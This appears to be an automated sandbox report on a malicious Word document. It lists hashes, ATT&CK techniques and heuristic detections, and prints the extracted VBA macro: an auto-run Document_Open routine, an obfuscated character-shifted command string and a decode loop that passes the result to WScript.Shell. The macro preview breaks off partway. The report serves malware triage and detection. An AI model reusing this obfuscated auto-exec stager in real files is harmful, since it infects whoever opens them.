Office (OOXML) malware analysis — malicious · b2dfd68272469315

MALICIOUS

Office (OOXML)

19.0 KB Created: 2021-02-25 15:13:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-29

MD5: c22cdd6b24d035191a4423ffab320dc7 SHA-1: 870d6ef7243bdc2f406c263747352b9707e5e563 SHA-256: b2dfd6827246931546844362f21c91634500b58980298895e6f5f0ece742aec1

230 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro that automatically executes upon opening the document. This macro utilizes WScript.Shell and the Shell() function, combined with character-shifting obfuscation, to likely download and execute a second-stage payload. The presence of a Document_Open macro and the use of Shell() are strong indicators of malicious intent, commonly seen in macro-based malware droppers.

Heuristics 7

VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present

WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage

Matched line in script

   Public Function x(asd As String)
   Set WQDWQEWQEWQ = CreateObject("Wscript.Shell")
WQDWQEWQEWQ.Run asd

VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL

VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
Matched line in script
```
    n = 14
    For i = 1 To Len(strInput)
        Mid(strInput, i, 1) = Chr(Asc(Mid(strInput, i, 1)) - n)
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

   Public Function x(asd As String)
   Set WQDWQEWQEWQ = CreateObject("Wscript.Shell")
WQDWQEWQEWQ.Run asd

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro

Matched line in script

Dim KiCbDFPnYsQBJgR As String
Public Sub Document_Open()
  KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "q"

Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	19432 bytes
SHA-256: `72a48371f28f98b1bec32e478c95dc991350bea661c5e5937ba9d537ace2f487`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Dim KiCbDFPnYsQBJgR As String Public Sub Document_Open() KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "{" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "r" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "." KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "=" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "." KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "~" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "}" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "s" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "€" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "�" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "v" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "s" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "z" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "z" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "<" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "s" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "†" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "s" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "." KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + ";" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "s" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "\|" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "}" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "r" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "s" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "r" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "}" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "{" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "{" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "o" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "\|" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "r" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "." KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Y" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "]" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "c" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "r" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "‚" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "S" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "F" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "g" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + " " KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "c" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "g" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + ">" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "b" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "z" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "V" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "_" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Z" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "f" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "c" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "g" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "R" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "o" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "_" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "z" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "B" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "r" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "~" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "B" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "`" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "„" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "V" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "p" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "�" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "F" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "g" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "_" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "y" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "S" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "g" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "o" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "_" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "�" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "c" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Y" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "\|" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "r" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + ">" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "V" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "D" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "F" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Z" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "x" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "V" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "c" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "r" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + ">" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "B" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "p" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "C" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "F" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "e" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "€" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "T" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "W" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "a" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "[" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "T" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "o" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "_" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "\|" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Y" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "y" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "c" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "p" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "@" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "R" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "}" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "g" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "_" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "V" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "h" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "v" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "V" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "_" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "g" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "_" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "~" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "�" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "X" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "T" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "c" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "‚" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "V" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "p" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "ƒ" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "c" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "s" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "z" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "B" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "h" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "_" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "B" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "c" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "X" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "~" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "R" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "�" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "c" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + ">" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "S" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + ">" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + ">" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "c" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "�" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "c" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "h" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "_" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "[" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "u" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "E" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "Q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "c" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "…" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "P" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + ">" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "U" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "S" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "O" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + "q" KiCbDFPnYsQBJgR = KiCbDFPnYsQBJgR + 